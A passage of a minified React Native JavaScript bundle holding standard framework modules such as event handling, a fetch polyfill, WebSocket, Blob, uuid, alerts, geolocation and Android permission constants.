Symbol?Symbol:function(e){return\"[[\"+e+\"_\"+Math.random().toFixed(8).slice(2)+\"]]\"};i.LISTENERS=r(\"listeners\"),i.CAPTURE=1,i.BUBBLE=2,i.ATTRIBUTE=3,i.newNode=function(e,n){return{listener:e,kind:n,next:null}}},75);\n__d(function(n,t,e,u){\"use strict\";function r(n,t){for(var e=n[i][t];null!=e;){if(e.kind===c)return e.listener;e=e.next}return null}function o(n,t,e){\"function\"!=typeof e&&\"object\"!=typeof e&&(e=null);for(var u=null,r=n[i][t];null!=r;)r.kind===c?null==u?n[i][t]=r.next:u.next=r.next:u=r,r=r.next;null!=e&&(null==u?n[i][t]=f(e,c):u.next=f(e,c))}var l=t(75),i=l.LISTENERS,c=l.ATTRIBUTE,f=l.newNode;u.defineCustomEventTarget=function(n,t){function e(){n.call(this)}var u={constructor:{value:e,configurable:!0,writable:!0}};return t.forEach(function(n){u[\"on\"+n]={get:function(){return r(this,n)},set:function(t){o(this,n,t)},configurable:!0,enumerable:!0}}),e.prototype=Object.create(n.prototype,u),e}},76);\n__d(function(e,a,t,n){\"use strict\";var r=a(75).createUniqueKey,l=r(\"stop_immediate_propagation_flag\"),u=r(\"canceled_flag\"),i=r(\"original_event\"),o=Object.freeze({stopPropagation:Object.freeze({value:function(){var e=this[i];\"function\"==typeof e.stopPropagation&&e.stopPropagation()},writable:!0,configurable:!0}),stopImmediatePropagation:Object.freeze({value:function(){this[l]=!0;var e=this[i];\"function\"==typeof e.stopImmediatePropagation&&e.stopImmediatePropagation()},writable:!0,configurable:!0}),preventDefault:Object.freeze({value:function(){this.cancelable===!0&&(this[u]=!0);var e=this[i];\"function\"==typeof e.preventDefault&&e.preventDefault()},writable:!0,configurable:!0}),defaultPrevented:Object.freeze({get:function(){return this[u]},enumerable:!0,configurable:!0})});n.STOP_IMMEDIATE_PROPAGATION_FLAG=l,n.createEventWrapper=function(e,a){var t=\"number\"==typeof e.timeStamp?e.timeStamp:Date.now(),n={type:{value:e.type,enumerable:!0},target:{value:a,enumerable:!0},currentTarget:{value:a,enumerable:!0},eventPhase:{value:2,enumerable:!0},bubbles:{value:Boolean(e.bubbles),enumerable:!0},cancelable:{value:Boolean(e.cancelable),enumerable:!0},timeStamp:{value:t,enumerable:!0},isTrusted:{value:!1,enumerable:!0}};return n[l]={value:!1,writable:!0},n[u]={value:!1,writable:!0},n[i]={value:e},\"undefined\"!=typeof e.detail&&(n.detail={value:e.detail,enumerable:!0}),Object.create(Object.create(e,o),n)}},77);\n__d(function(e,t,s,r){\"use strict\";var a=(t(79),t(80)),l=t(15).Networking,n=t(81),o=function(e){function t(){babelHelpers.classCallCheck(this,t);var e=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,l));return e.isAvailable=!0,e}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"sendRequest\",value:function(e,t,s,r,a,o,i,u,c,b){var p=n(a);l.sendRequest({method:e,url:s,data:babelHelpers.extends({},p,{trackingName:t}),headers:r,responseType:o,incrementalUpdates:i,timeout:u,withCredentials:b},c)}},{key:\"abortRequest\",value:function(e){l.abortRequest(e)}},{key:\"clearCookies\",value:function(e){l.clearCookies(e)}}]),t}(a);o=new o,s.exports=o},78);\n__d(function(e,t,i,n){\"use strict\";var s=(t(37),t(36)),l=t(13),a=function(e){function t(e,i){babelHelpers.classCallCheck(this,t);var n=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,null));return n.isAvailable=!1,n._nativeModuleName=e,n._nativeEventEmitterName=i,n}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"throwMissingNativeModule\",value:function(){l(!1,\"Cannot use '\"+this._nativeEventEmitterName+\"' module when \"+(\"native '\"+this._nativeModuleName+\"' is not included in the build. \")+(\"Either include it, or check '\"+this._nativeEventEmitterName+\"'.isAvailable \")+\"before calling any methods.\")}},{key:\"addListener\",value:function(e,t,i){this.throwMissingNativeModule()}},{key:\"removeAllListeners\",value:function(e){this.throwMissingNativeModule()}},{key:\"removeSubscription\",value:function(e){this.throwMissingNativeModule()}}]),t}(s);i.exports=a},79);\n__d(function(e,t,r,o){\"use strict\";var s=t(36),i=(t(23),t(35)),l=t(13),n=function(e){function t(e){babelHelpers.classCallCheck(this,t);var r=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,i.sharedSubscriber));return l(e,\"Native module cannot be null.\"),r._nativeModule=e,r}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"addListener\",value:function(e,r,o){return this._nativeModule.addListener(e),babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"addListener\",this).call(this,e,r,o)}},{key:\"removeAllListeners\",value:function(e){l(e,\"eventType argument is required.\");var r=this.listeners(e).length;this._nativeModule.removeListeners(r),babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"removeAllListeners\",this).call(this,e)}},{key:\"removeSubscription\",value:function(e){this._nativeModule.removeListeners(1),babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"removeSubscription\",this).call(this,e)}}]),t}(s);r.exports=n},80);\n__d(function(r,t,e,n){\"use strict\";function f(r){return\"string\"==typeof r?{string:r}:r instanceof a?{formData:r.getParts()}:r instanceof ArrayBuffer||ArrayBuffer.isView(r)?{base64:s(r)}:r}var s=t(82),a=t(84);e.exports=f},81);\n__d(function(r,e,t,f){\"use strict\";function n(r){if(r instanceof ArrayBuffer&&(r=new Uint8Array(r)),r instanceof Uint8Array)return a.fromByteArray(r);if(!ArrayBuffer.isView(r))throw new Error(\"data must be ArrayBuffer or typed array\");var e=r,t=e.buffer,f=e.byteOffset,n=e.byteLength;return a.fromByteArray(new Uint8Array(t,f,n))}var a=e(83);t.exports=n},82);\n__d(function(r,t,n,e){\"use strict\";function o(r){var t=r.length;if(t%4>0)throw new Error(\"Invalid string. Length must be a multiple of 4\");return\"=\"===r[t-2]?2:\"=\"===r[t-1]?1:0}function a(r){return 3*r.length/4-o(r)}function h(r){var t,n,e,a,h,c=r.length;a=o(r),h=new f(3*c/4-a),n=a>0?c-4:c;var u=0;for(t=0;t<n;t+=4)e=d[r.charCodeAt(t)]<<18|d[r.charCodeAt(t+1)]<<12|d[r.charCodeAt(t+2)]<<6|d[r.charCodeAt(t+3)],h[u++]=e>>16&255,h[u++]=e>>8&255,h[u++]=255&e;return 2===a?(e=d[r.charCodeAt(t)]<<2|d[r.charCodeAt(t+1)]>>4,h[u++]=255&e):1===a&&(e=d[r.charCodeAt(t)]<<10|d[r.charCodeAt(t+1)]<<4|d[r.charCodeAt(t+2)]>>2,h[u++]=e>>8&255,h[u++]=255&e),h}function c(r){return A[r>>18&63]+A[r>>12&63]+A[r>>6&63]+A[63&r]}function u(r,t,n){for(var e,o=[],a=t;a<n;a+=3)e=(r[a]<<16)+(r[a+1]<<8)+r[a+2],o.push(c(e));return o.join(\"\")}function i(r){for(var t,n=r.length,e=n%3,o=\"\",a=[],h=16383,c=0,i=n-e;c<i;c+=h)a.push(u(r,c,c+h>i?i:c+h));return 1===e?(t=r[n-1],o+=A[t>>2],o+=A[t<<4&63],o+=\"==\"):2===e&&(t=(r[n-2]<<8)+r[n-1],o+=A[t>>10],o+=A[t>>4&63],o+=A[t<<2&63],o+=\"=\"),a.push(o),a.join(\"\")}e.byteLength=a,e.toByteArray=h,e.fromByteArray=i;for(var A=[],d=[],f=\"undefined\"!=typeof Uint8Array?Uint8Array:Array,C=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\",y=0,g=C.length;y<g;++y)A[y]=C[y],d[C.charCodeAt(y)]=y;d[\"-\".charCodeAt(0)]=62,d[\"_\".charCodeAt(0)]=63},83);\n__d(function(e,t,n,s){\"use strict\";var a=function(){function e(){babelHelpers.classCallCheck(this,e),this._parts=[]}return babelHelpers.createClass(e,[{key:\"append\",value:function(e,t){this._parts.push([e,t])}},{key:\"getParts\",value:function(){return this._parts.map(function(e){var t=babelHelpers.slicedToArray(e,2),n=t[0],s=t[1],a='form-data; name=\"'+n+'\"',r={\"content-disposition\":a};return\"object\"==typeof s&&s?(\"string\"==typeof s.name&&(r[\"content-disposition\"]+='; filename=\"'+s.name+'\"'),\"string\"==typeof s.type&&(r[\"content-type\"]=s.type),babelHelpers.extends({},s,{headers:r,fieldName:n})):{string:String(s),headers:r,fieldName:n}})}}]),e}();n.exports=a},84);\n__d(function(e,s,t,c){\"use strict\";s(86),t.exports={fetch:fetch,Headers:Headers,Request:Request,Response:Response}},85);\n__d(function(t,e,r,o){!function(t){\"use strict\";function e(t){if(\"string\"!=typeof t&&(t=String(t)),/[^a-z0-9\\-#$%&'*+.\\^_`|~]/i.test(t))throw new TypeError(\"Invalid character in header field name\");return t.toLowerCase()}function r(t){return\"string\"!=typeof t&&(t=String(t)),t}function o(t){var e={next:function(){var e=t.shift();return{done:void 0===e,value:e}}};return m.iterable&&(e[\"function\"==typeof Symbol?Symbol.iterator:\"@@iterator\"]=function(){return e}),e}function n(t){this.map={},t instanceof n?t.forEach(function(t,e){this.append(e,t)},this):t&&Object.getOwnPropertyNames(t).forEach(function(e){this.append(e,t[e])},this)}function i(t){return t.bodyUsed?Promise.reject(new TypeError(\"Already read\")):void(t.bodyUsed=!0)}function s(t){return new Promise(function(e,r){t.onload=function(){e(t.result)},t.onerror=function(){r(t.error)}})}function a(t){var e=new FileReader,r=s(e);return e.readAsArrayBuffer(t),r}function u(t){var e=new FileReader,r=s(e);return e.readAsText(t),r}function f(t){for(var e=new Uint8Array(t),r=new Array(e.length),o=0;o<e.length;o++)r[o]=String.fromCharCode(e[o]);return r.join(\"\")}function h(t){if(t.slice)return t.slice(0);var e=new Uint8Array(t.byteLength);return e.set(new Uint8Array(t)),e.buffer}function d(){return this.bodyUsed=!1,this._initBody=function(t){if(this._bodyInit=t,t)if(\"string\"==typeof t)this._bodyText=t;else if(m.blob&&Blob.prototype.isPrototypeOf(t))this._bodyBlob=t;else if(m.formData&&FormData.prototype.isPrototypeOf(t))this._bodyFormData=t;else if(m.searchParams&&URLSearchParams.prototype.isPrototypeOf(t))this._bodyText=t.toString();else if(m.arrayBuffer&&m.blob&&v(t))this._bodyArrayBuffer=h(t.buffer),this._bodyInit=new Blob([this._bodyArrayBuffer]);else{if(!m.arrayBuffer||!ArrayBuffer.prototype.isPrototypeOf(t)&&!_(t))throw new Error(\"unsupported BodyInit type\");this._bodyArrayBuffer=h(t)}else this._bodyText=\"\";this.headers.get(\"content-type\")||(\"string\"==typeof t?this.headers.set(\"content-type\",\"text/plain;charset=UTF-8\"):this._bodyBlob&&this._bodyBlob.type?this.headers.set(\"content-type\",this._bodyBlob.type):m.searchParams&&URLSearchParams.prototype.isPrototypeOf(t)&&this.headers.set(\"content-type\",\"application/x-www-form-urlencoded;charset=UTF-8\"))},m.blob&&(this.blob=function(){var t=i(this);if(t)return t;if(this._bodyBlob)return Promise.resolve(this._bodyBlob);if(this._bodyArrayBuffer)return Promise.resolve(new Blob([this._bodyArrayBuffer]));if(this._bodyFormData)throw new Error(\"could not read FormData body as blob\");return Promise.resolve(new Blob([this._bodyText]))},this.arrayBuffer=function(){return this._bodyArrayBuffer?i(this)||Promise.resolve(this._bodyArrayBuffer):this.blob().then(a)}),this.text=function(){var t=i(this);if(t)return t;if(this._bodyBlob)return u(this._bodyBlob);if(this._bodyArrayBuffer)return Promise.resolve(f(this._bodyArrayBuffer));if(this._bodyFormData)throw new Error(\"could not read FormData body as text\");return Promise.resolve(this._bodyText)},m.formData&&(this.formData=function(){return this.text().then(l)}),this.json=function(){return this.text().then(JSON.parse)},this}function y(t){var e=t.toUpperCase();return B.indexOf(e)>-1?e:t}function c(t,e){e=e||{};var r=e.body;if(\"string\"==typeof t)this.url=t;else{if(t.bodyUsed)throw new TypeError(\"Already read\");this.url=t.url,this.credentials=t.credentials,e.headers||(this.headers=new n(t.headers)),this.method=t.method,this.mode=t.mode,r||null==t._bodyInit||(r=t._bodyInit,t.bodyUsed=!0)}if(this.credentials=e.credentials||this.credentials||\"omit\",!e.headers&&this.headers||(this.headers=new n(e.headers)),this.method=y(e.method||this.method||\"GET\"),this.mode=e.mode||this.mode||null,this.referrer=null,(\"GET\"===this.method||\"HEAD\"===this.method)&&r)throw new TypeError(\"Body not allowed for GET or HEAD requests\");this._initBody(r)}function l(t){var e=new FormData;return t.trim().split(\"&\").forEach(function(t){if(t){var r=t.split(\"=\"),o=r.shift().replace(/\\+/g,\" \"),n=r.join(\"=\").replace(/\\+/g,\" \");e.append(decodeURIComponent(o),decodeURIComponent(n))}}),e}function p(t){var e=new n;return t.split(\"\\r\\n\").forEach(function(t){var r=t.split(\":\"),o=r.shift().trim();if(o){var n=r.join(\":\").trim();e.append(o,n)}}),e}function b(t,e){e||(e={}),this.type=\"default\",this.status=\"status\"in e?e.status:200,this.ok=this.status>=200&&this.status<300,this.statusText=\"statusText\"in e?e.statusText:\"OK\",this.headers=new n(e.headers),this.url=e.url||\"\",this._initBody(t)}if(!t.fetch){var m={searchParams:\"URLSearchParams\"in t,iterable:\"Symbol\"in t&&\"iterator\"in Symbol,blob:\"FileReader\"in t&&\"Blob\"in t&&function(){try{return new Blob,!0}catch(t){return!1}}(),formData:\"FormData\"in t,arrayBuffer:\"ArrayBuffer\"in t};if(m.arrayBuffer)var w=[\"[object Int8Array]\",\"[object Uint8Array]\",\"[object Uint8ClampedArray]\",\"[object Int16Array]\",\"[object Uint16Array]\",\"[object Int32Array]\",\"[object Uint32Array]\",\"[object Float32Array]\",\"[object Float64Array]\"],v=function(t){return t&&DataView.prototype.isPrototypeOf(t)},_=ArrayBuffer.isView||function(t){return t&&w.indexOf(Object.prototype.toString.call(t))>-1};n.prototype.append=function(t,o){t=e(t),o=r(o);var n=this.map[t];n||(n=[],this.map[t]=n),n.push(o)},n.prototype.delete=function(t){delete this.map[e(t)]},n.prototype.get=function(t){var r=this.map[e(t)];return r?r[0]:null},n.prototype.getAll=function(t){return this.map[e(t)]||[]},n.prototype.has=function(t){return this.map.hasOwnProperty(e(t))},n.prototype.set=function(t,o){this.map[e(t)]=[r(o)]},n.prototype.forEach=function(t,e){Object.getOwnPropertyNames(this.map).forEach(function(r){this.map[r].forEach(function(o){t.call(e,o,r,this)},this)},this)},n.prototype.keys=function(){var t=[];return this.forEach(function(e,r){t.push(r)}),o(t)},n.prototype.values=function(){var t=[];return this.forEach(function(e){t.push(e)}),o(t)},n.prototype.entries=function(){var t=[];return this.forEach(function(e,r){t.push([r,e])}),o(t)},m.iterable&&(n.prototype[\"function\"==typeof Symbol?Symbol.iterator:\"@@iterator\"]=n.prototype.entries);var B=[\"DELETE\",\"GET\",\"HEAD\",\"OPTIONS\",\"POST\",\"PUT\"];c.prototype.clone=function(){return new c(this,{body:this._bodyInit})},d.call(c.prototype),d.call(b.prototype),b.prototype.clone=function(){return new b(this._bodyInit,{status:this.status,statusText:this.statusText,headers:new n(this.headers),url:this.url})},b.error=function(){var t=new b(null,{status:0,statusText:\"\"});return t.type=\"error\",t};var A=[301,302,303,307,308];b.redirect=function(t,e){if(A.indexOf(e)===-1)throw new RangeError(\"Invalid status code\");return new b(null,{status:e,headers:{location:t}})},t.Headers=n,t.Request=c,t.Response=b,t.fetch=function(t,e){return new Promise(function(r,o){var n=new c(t,e),i=new XMLHttpRequest;i.onload=function(){var t={status:i.status,statusText:i.statusText,headers:p(i.getAllResponseHeaders()||\"\")};t.url=\"responseURL\"in i?i.responseURL:t.headers.get(\"X-Request-URL\");var e=\"response\"in i?i.response:i.responseText;r(new b(e,t))},i.onerror=function(){o(new TypeError(\"Network request failed\"))},i.ontimeout=function(){o(new TypeError(\"Network request failed\"))},i.open(n.method,n.url,!0),\"include\"===n.credentials&&(i.withCredentials=!0),\"responseType\"in i&&m.blob&&(i.responseType=\"blob\"),n.headers.forEach(function(t,e){i.setRequestHeader(e,t)}),i.send(\"undefined\"==typeof n._bodyInit?null:n._bodyInit)})},t.fetch.polyfill=!0}}(\"undefined\"!=typeof self?self:this)},86);\n__d(function(e,t,s,i){\"use strict\";var r=t(88),o=t(74),n=t(80),a=t(15),c=(t(23),t(94)),d=t(83),l=t(82),u=t(13),b=a.WebSocketModule,h=0,p=1,y=2,f=3,_=[\"close\",\"error\",\"message\",\"open\"],v=0,E=function(e){function t(e,s,i){babelHelpers.classCallCheck(this,t);var r=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));r.CONNECTING=h,r.OPEN=p,r.CLOSING=y,r.CLOSED=f,r.readyState=h,\"string\"==typeof s&&(s=[s]);var o=i||{},a=o.headers,c=void 0===a?{}:a,d=babelHelpers.objectWithoutProperties(o,[\"headers\"]);if(d&&\"string\"==typeof d.origin&&(console.warn(\"Specifying `origin` as a WebSocket connection option is deprecated. Include it under `headers` instead.\"),c.origin=d.origin,delete d.origin),Object.keys(d).length>0&&console.warn(\"Unrecognized WebSocket connection option(s) `\"+Object.keys(d).join(\"`, `\")+\"`. Did you mean to put these under `headers`?\"),Array.isArray(s)||(s=null),!t.isAvailable)throw new Error(\"Cannot initialize WebSocket module. Native module WebSocketModule is missing.\");return r._eventEmitter=new n(b),r._socketId=v++,r._registerEvents(),b.connect(e,s,{headers:c},r._socketId),r}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"close\",value:function(e,t){this.readyState!==this.CLOSING&&this.readyState!==this.CLOSED&&(this.readyState=this.CLOSING,this._close(e,t))}},{key:\"send\",value:function(e){if(this.readyState===this.CONNECTING)throw new Error(\"INVALID_STATE_ERR\");if(e instanceof r){var t=a.BlobModule;return u(t,\"Native module BlobModule is required for blob support\"),void t.sendBlob(e,this._socketId)}if(\"string\"==typeof e)return void b.send(e,this._socketId);if(e instanceof ArrayBuffer||ArrayBuffer.isView(e))return void b.sendBinary(l(e),this._socketId);throw new Error(\"Unsupported data type\")}},{key:\"ping\",value:function(){if(this.readyState===this.CONNECTING)throw new Error(\"INVALID_STATE_ERR\");b.ping(this._socketId)}},{key:\"_close\",value:function(e,t){b.close(this._socketId)}},{key:\"_unregisterEvents\",value:function(){this._subscriptions.forEach(function(e){return e.remove()}),this._subscriptions=[]}},{key:\"_registerEvents\",value:function(){var e=this;this._subscriptions=[this._eventEmitter.addListener(\"websocketMessage\",function(t){if(t.id===e._socketId){var s=t.data;switch(t.type){case\"binary\":s=d.toByteArray(t.data).buffer;break;case\"blob\":s=r.create(t.data)}e.dispatchEvent(new c(\"message\",{data:s}))}}),this._eventEmitter.addListener(\"websocketOpen\",function(t){t.id===e._socketId&&(e.readyState=e.OPEN,e.dispatchEvent(new c(\"open\")))}),this._eventEmitter.addListener(\"websocketClosed\",function(t){t.id===e._socketId&&(e.readyState=e.CLOSED,e.dispatchEvent(new c(\"close\",{code:t.code,reason:t.reason})),e._unregisterEvents(),e.close())}),this._eventEmitter.addListener(\"websocketFailed\",function(t){t.id===e._socketId&&(e.readyState=e.CLOSED,e.dispatchEvent(new c(\"error\",{message:t.message})),e.dispatchEvent(new c(\"close\",{message:t.message})),e._unregisterEvents(),e.close())})]}},{key:\"binaryType\",get:function(){return this._binaryType},set:function(e){if(\"blob\"!==e&&\"arraybuffer\"!==e)throw new Error(\"binaryType must be either 'blob' or 'arraybuffer'\");if(\"blob\"===this._binaryType||\"blob\"===e){var t=a.BlobModule;u(t,\"Native module BlobModule is required for blob support\"),t&&(\"blob\"===e?t.enableBlobSupport(this._socketId):t.disableBlobSupport(this._socketId))}this._binaryType=e}}]),t}(o.apply(void 0,_));E.CONNECTING=h,E.OPEN=p,E.CLOSING=y,E.CLOSED=f,E.isAvailable=!!b,s.exports=E},87);\n__d(function(e,t,r,s){\"use strict\";var l=t(13),o=t(89),a=t(15),n=a.BlobModule,c=function(){function e(t,r){babelHelpers.classCallCheck(this,e);var s=o(),a=0;return t.forEach(function(t){l(t instanceof e,\"Can currently only create a Blob from other Blobs\"),a+=t.size}),n.createFromParts(t,s),e.create({blobId:s,offset:0,size:a})}return babelHelpers.createClass(e,null,[{key:\"create\",value:function(t){return babelHelpers.extends(Object.create(e.prototype),t)}}]),babelHelpers.createClass(e,[{key:\"slice\",value:function(t,r){var s=this.offset,l=this.size;return\"number\"==typeof t&&(t>l&&(t=l),s+=t,l-=t,\"number\"==typeof r&&(r<0&&(r=this.size+r),l=r-t)),e.create({blobId:this.blobId,offset:s,size:l})}},{key:\"close\",value:function(){n.release(this.blobId)}}]),e}();r.exports=c},88);\n__d(function(v,n,o,r){var t=n(90),_=n(93),a=_;a.v1=t,a.v4=_,o.exports=a},89);\n__d(function(e,o,r,s){function c(e,o,r){var s=o&&r||0,c=o||[];e=e||{};var n=void 0!==e.clockseq?e.clockseq:t,i=void 0!==e.msecs?e.msecs:(new Date).getTime(),f=void 0!==e.nsecs?e.nsecs:u+1,m=i-d+(f-u)/1e4;if(m<0&&void 0===e.clockseq&&(n=n+1&16383),(m<0||i>d)&&void 0===e.nsecs&&(f=0),f>=1e4)throw new Error(\"uuid.v1(): Can't create more than 10M uuids/sec\");d=i,u=f,t=n,i+=122192928e5;var k=(1e4*(268435455&i)+f)%4294967296;c[s++]=k>>>24&255,c[s++]=k>>>16&255,c[s++]=k>>>8&255,c[s++]=255&k;var l=i/4294967296*1e4&268435455;c[s++]=l>>>8&255,c[s++]=255&l,c[s++]=l>>>24&15|16,c[s++]=l>>>16&255,c[s++]=n>>>8|128,c[s++]=255&n;for(var q=e.node||a,w=0;w<6;++w)c[s+w]=q[w];return o?o:v(c)}var n=o(91),v=o(92),i=n(),a=[1|i[0],i[1],i[2],i[3],i[4],i[5]],t=16383&(i[6]<<8|i[7]),d=0,u=0;r.exports=c},90);\n__d(function(r,n,a,t){var o,e=r.crypto||r.msCrypto;if(e&&e.getRandomValues){var u=new Uint8Array(16);o=function(){return e.getRandomValues(u),u}}if(!o){var f=new Array(16);o=function(){for(var r,n=0;n<16;n++)0===(3&n)&&(r=4294967296*Math.random()),f[n]=r>>>((3&n)<<3)&255;return f}}a.exports=o},91);\n__d(function(r,t,n,o){function u(r,t){var n=t||0,o=f;return o[r[n++]]+o[r[n++]]+o[r[n++]]+o[r[n++]]+\"-\"+o[r[n++]]+o[r[n++]]+\"-\"+o[r[n++]]+o[r[n++]]+\"-\"+o[r[n++]]+o[r[n++]]+\"-\"+o[r[n++]]+o[r[n++]]+o[r[n++]]+o[r[n++]]+o[r[n++]]+o[r[n++]]}for(var f=[],i=0;i<256;++i)f[i]=(i+256).toString(16).substr(1);n.exports=u},92);\n__d(function(r,n,a,o){function t(r,n,a){var o=n&&a||0;\"string\"==typeof r&&(n=\"binary\"==r?new Array(16):null,r=null),r=r||{};var t=r.random||(r.rng||f)();if(t[6]=15&t[6]|64,t[8]=63&t[8]|128,n)for(var u=0;u<16;++u)n[o+u]=t[u];return n||i(t)}var f=n(91),i=n(92);a.exports=t},93);\n__d(function(e,t,s,i){\"use strict\";var l=function e(t,s){babelHelpers.classCallCheck(this,e),this.type=t.toString(),babelHelpers.extends(this,s)};s.exports=l},94);\n__d(function(e,t,r,o){\"use strict\";var n=(t(88),t(15)),l=n.BlobModule,s=null;l&&\"string\"==typeof l.BLOB_URI_SCHEME&&(s=l.BLOB_URI_SCHEME+\":\",\"string\"==typeof l.BLOB_URI_HOST&&(s+=\"//\"+l.BLOB_URI_HOST+\"/\"));var u=function(){function e(){throw babelHelpers.classCallCheck(this,e),new Error(\"Creating BlobURL objects is not supported yet.\")}return babelHelpers.createClass(e,null,[{key:\"createObjectURL\",value:function(e){if(null===s)throw new Error(\"Cannot create URL for blob!\");return\"\"+s+e.blobId+\"?offset=\"+e.offset+\"&size=\"+e.size}},{key:\"revokeObjectURL\",value:function(e){}}]),e}();r.exports=u},95);\n__d(function(e,t,n,a){\"use strict\";var r=t(97),l=t(15),s=(t(23),function(){function e(){babelHelpers.classCallCheck(this,e)}return babelHelpers.createClass(e,null,[{key:\"alert\",value:function(e,t,n,a,l){return\"undefined\"!=typeof l?(console.warn('Alert.alert() with a 5th \"type\" parameter is deprecated and will be removed. Use AlertIOS.prompt() instead.'),void r.alert(e,t,n,l)):void r.alert(e,t,n)}}]),e}());(function(){function e(){babelHelpers.classCallCheck(this,e)}return babelHelpers.createClass(e,null,[{key:\"alert\",value:function(e,t,n,a){var r={title:e||\"\",message:t||\"\"};a&&(r=babelHelpers.extends({},r,{cancelable:a.cancelable}));var s=n?n.slice(0,3):[{text:\"OK\"}],o=s.pop(),i=s.pop(),d=s.pop();d&&(r=babelHelpers.extends({},r,{buttonNeutral:d.text||\"\"})),i&&(r=babelHelpers.extends({},r,{buttonNegative:i.text||\"\"})),o&&(r=babelHelpers.extends({},r,{buttonPositive:o.text||\"\"})),l.DialogManagerAndroid.showAlert(r,function(e){return console.warn(e)},function(e,t){e===l.DialogManagerAndroid.buttonClicked?t===l.DialogManagerAndroid.buttonNeutral?d.onPress&&d.onPress():t===l.DialogManagerAndroid.buttonNegative?i.onPress&&i.onPress():t===l.DialogManagerAndroid.buttonPositive&&o.onPress&&o.onPress():e===l.DialogManagerAndroid.dismissed&&a&&a.onDismiss&&a.onDismiss()})}}]),e})();n.exports=s},96);\n__d(function(e,t,a,r){\"use strict\";var n=t(15).AlertManager,l=function(){function e(){babelHelpers.classCallCheck(this,e)}return babelHelpers.createClass(e,null,[{key:\"alert\",value:function(e,t,a,r){return\"undefined\"!=typeof r?(console.warn('AlertIOS.alert() with a 4th \"type\" parameter is deprecated and will be removed. Use AlertIOS.prompt() instead.'),void this.prompt(e,t,a,r)):void this.prompt(e,t,a,\"default\")}},{key:\"prompt\",value:function(e,t,a){var r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:\"plain-text\",l=arguments[4],i=arguments[5];if(\"function\"==typeof r){console.warn('You passed a callback function as the \"type\" argument to AlertIOS.prompt(). React Native is assuming  you want to use the deprecated AlertIOS.prompt(title, defaultValue, buttons, callback) signature. The current signature is AlertIOS.prompt(title, message, callbackOrButtons, type, defaultValue, keyboardType) and the old syntax will be removed in a future version.');var o=r,l=t;return void n.alertWithArgs({title:e,type:\"plain-text\",defaultValue:l},function(e,t){o(t)})}var s,u,c=[],p=[];\"function\"==typeof a?c=[a]:a instanceof Array&&a.forEach(function(e,t){if(c[t]=e.onPress,\"cancel\"===e.style?s=String(t):\"destructive\"===e.style&&(u=String(t)),e.text||t<(a||[]).length-1){var r={};r[t]=e.text||\"\",p.push(r)}}),n.alertWithArgs({title:e,message:t||void 0,buttons:p,type:r||void 0,defaultValue:l,cancelButtonKey:s,destructiveButtonKey:u,keyboardType:i},function(e,t){var a=c[e];a&&a(t)})}}]),e}();a.exports=l},97);\n__d(function(e,t,n,r){\"use strict\";var o=t(80),i=t(15).LocationObserver,s=t(13),a=t(99),u=t(27),c=new o(i),v=(t(23),t(100)),f=[],g=!1,l={setRNConfiguration:function(e){i.setConfiguration&&i.setConfiguration(e)},requestAuthorization:function(){i.requestAuthorization()},getCurrentPosition:function(e,t,n){var r,o;return regeneratorRuntime.async(function(u){for(;;)switch(u.prev=u.next){case 0:s(\"function\"==typeof e,\"Must provide a valid geo_success callback.\"),r=!0,u.next=11;break;case 5:if(r=u.sent){u.next=11;break}return u.next=9,regeneratorRuntime.awrap(v.request(v.PERMISSIONS.ACCESS_FINE_LOCATION));case 9:o=u.sent,r=o===v.RESULTS.GRANTED;case 11:r&&i.getCurrentPosition(n||{},e,t||a);case 12:case\"end\":return u.stop()}},null,this)},watchPosition:function(e,t,n){g||(i.startObserving(n||{}),g=!0);var r=f.length;return f.push([c.addListener(\"geolocationDidChange\",e),t?c.addListener(\"geolocationError\",t):null]),r},clearWatch:function(e){var t=f[e];if(t){t[0].remove();var n=t[1];n&&n.remove(),f[e]=void 0;for(var r=!0,o=0;o<f.length;o++)f[o]&&(r=!1);r&&l.stopObserving()}},stopObserving:function(){if(g){i.stopObserving(),g=!1;for(var e=0;e<f.length;e++){var t=f[e];if(t){u(!1,\"Called stopObserving with existing subscriptions.\"),t[0].remove();var n=t[1];n&&n.remove()}}f=[]}}};n.exports=l},98);\n__d(function(r,o,e,n){\"use strict\";var s=function(){for(var r=arguments.length,o=Array(r),e=0;e<r;e++)o[e]=arguments[e];if(1===o.length&&o[0]instanceof Error){var n=o[0];console.error('Error: \"'+n.message+'\".  Stack:\\n'+n.stack)}else console.error.apply(console,o)};e.exports=s},99);\n__d(function(e,r,i,n){\"use strict\";var s=r(15),o=function(){function e(){babelHelpers.classCallCheck(this,e),this.PERMISSIONS={READ_CALENDAR:\"android.permission.READ_CALENDAR\",WRITE_CALENDAR:\"android.permission.WRITE_CALENDAR\",CAMERA:\"android.permission.CAMERA\",READ_CONTACTS:\"android.permission.READ_CONTACTS\",WRITE_CONTACTS:\"android.permission.WRITE_CONTACTS\",GET_ACCOUNTS:\"android.permission.GET_ACCOUNTS\",ACCESS_FINE_LOCATION:\"android.permission.ACCESS_FINE_LOCATION\",ACCESS_COARSE_LOCATION:\"android.permission.ACCESS_COARSE_LOCATION\",RECORD_AUDIO:\"android.permission.RECORD_AUDIO\",READ_PHONE_STATE:\"android.permission.READ_PHONE_STATE\",CALL_PHONE:\"android.permission.CALL_PHONE\",READ_CALL_LOG:\"android.permission.READ_CALL_LOG\",WRITE_CALL_LOG:\"android.permission.WRITE_CALL_LOG\",ADD_VOICEMAIL:\"com.android.voicemail.permission.ADD_VOICEMAIL\",USE_SIP:\"android.permission.USE_SIP\",PROCESS_OUTGOING_CALLS:\"android.permission.PROCESS_OUTGOING_CALLS\",BODY_SENSORS:\"android.permission.BODY_SENSORS\",SEND_SMS:\"android.permission.SEND_SMS\",RECEIV